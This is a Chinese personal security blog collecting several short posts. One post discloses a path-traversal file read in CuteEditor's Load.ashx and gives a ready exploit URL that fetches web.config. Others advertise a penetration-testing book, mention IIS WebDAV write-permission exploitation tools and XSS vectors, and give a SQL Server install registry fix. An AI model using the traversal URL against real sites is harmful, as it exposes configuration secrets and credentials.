WoYiGui's BLoG

####### by woyigui #######
#### www.woyigui.cn  ######

一、漏洞描述：
     CuteEditor for ASP.NET是建立在Html基础之上，最简单易用、功能最强大的所见即所得Asp.net在线编辑器。 CuteEditor可以帮助Asp.net开发者轻松的对原来文本框(Textarea)中的内容(包括文字、图片等Html内容)进行编辑，更重要得是这些内容编辑的实现是所见即所得方式。 CuteEditor还集成了文件(包括图片、文档等)上传、媒体(包括视频、声音等)文件直接插入等对你来说非常实用的功能模块。
   但是在 Load.ashx 文件中，未对 file 参数进行处理，可以加载任意文件。

二、官方地址：
      http://cutesoft.net/
      http://cuteeditor.51aspx.com/

三、利用方法：

    http://www.woyigui.cn/CuteSoft_Client/CuteEditor/Load.ashx?type=image&file=../../../web.config

   ps: 第一次帮人AD一下，也不算AD，有朋友想学习的就买来看了。。最近看见好多人都自己写书了。难道这是趋势?

  官方连接：http://www.nohack.cn/bbs/thread-96363-1-1.html
新书预告＜黑客渗透笔记＞快赏

淘宝预定地址：http://item.taobao.com/auction/i ... 98c44&x_id=0db2

菜鸟起飞，从这里开始！本笔记将透露：

渗透、术语、脚本、内网、溢出……各种攻击相关的手段和名词
总结、技巧、细节、亮点……不断变化的攻击思想

ASP、PHP、JSP等不同类型的脚本漏洞
ACCESS、MYSQL、MSSQL、ORACLE等不同类型的数据库缺陷
国内、国外已知和末知的渗透工具
……

还等什么，一起高飞！

挺郁闷的事情，刚开始我以为下载的iso 有问题，换了三四个。
症状：
在 Service Pack 4 (SP 4) 运行 Microsoft Windows Server 2003，Microsoft Windows Storage Server 2003 或 Microsoft Windows 2000 的服务器上, 尝试安装 Microsoft SQL Server 2000 通过批量许可协议 (VLA） 媒体。 执行此操作时您会收到下面的错误信息，SQL Server 安装向导  CD KEY  页上：

解决方案:
定位到注册表以下键值：
HKEY_LOCAL_MACHINE\System\Control\Session Manager
请作为 DWORD 值创建或者修改 SafeDllSearchMode 注册表项，将值从 1 更改为 0，然后单击 确定 。

   终于把XSS_Attacks这本书看完了。学到了很多，非常不错的书。不过全英的，有些概念还要慢慢消化一下。接着就是把刚买的9本书看看。嗯。坚持看书！
    今天空间到期了，又续了一年费。不过还算便宜，一年 35 块。因为以前给论坛买空间成了代理，便宜好多，如果大家需要，可以找我，我按代理价给大家开。呵呵。

//还是要象征性的加个版权，转载请注明b0r3d's blog http://www.b0r3d.org
//上个月给黑手投去了，人家既然没有发表，我就发出来吧，毕竟文章的原创内容太少，技术含量也没有多高。

最近对IIS的一些安全设置做了下总结，在查找配置写权限漏洞得时候，网上介绍的资料不多，现在就只有自己动手配置了。配置写权限漏洞的时候又对写权限有了一些新的认识。网上对写权限得介绍一般都为，由于服务器得配置不当，用户可以匿名上传一些文件或者是代码。常用的利用工具有zwell的IIS put scanner和老兵的写权限利用工具，本文就不再对利用方法进行介绍了，介绍得文章或者是动画已经很烂了。

写权限漏洞主要跟IIS的webdav服务扩展还有网站的一些权限设置有关系。下面我们先看下webdav的一些官方介绍

允许客户发布、锁定和管理 Web 上的资源，它允许客户端执行以下操作：

   我同学开发了一个输入法，绿色的，.net 版，试用了一下很好用，不过他说在内测，还很弱，不过目前来说还是很好的。欢迎大家测试。
输入汉字界面：

输入技巧：shift键可切换中英文。
设置界面：


下载：

我自己不知道输入法怎么开发的，不知道这东西好开发不。。。欢迎添砖！

只收藏个链接：http://www.thespanner.co.uk/2009/05/08/opera-xss-vectors/

    帮同学做了个网站，给了几百块钱，全买书了。。哦也。。。以后让帮忙直接给我买书邮过来就行了，不用给钱了。。特别是在不到十个人的朋友群里喊了一句：0day 换书啦。。。居然没人理。。哈哈。
    买了如下几本，不知道怎么样，也不知道有时间学完不，先买来再说，有时间就瞧。。反正把钱花在书了，就不会花在别处浪费了。嗯，想法很好。嘿嘿。。看书：

大家有啥好书，给俺推荐一下。本人急需要补充知识！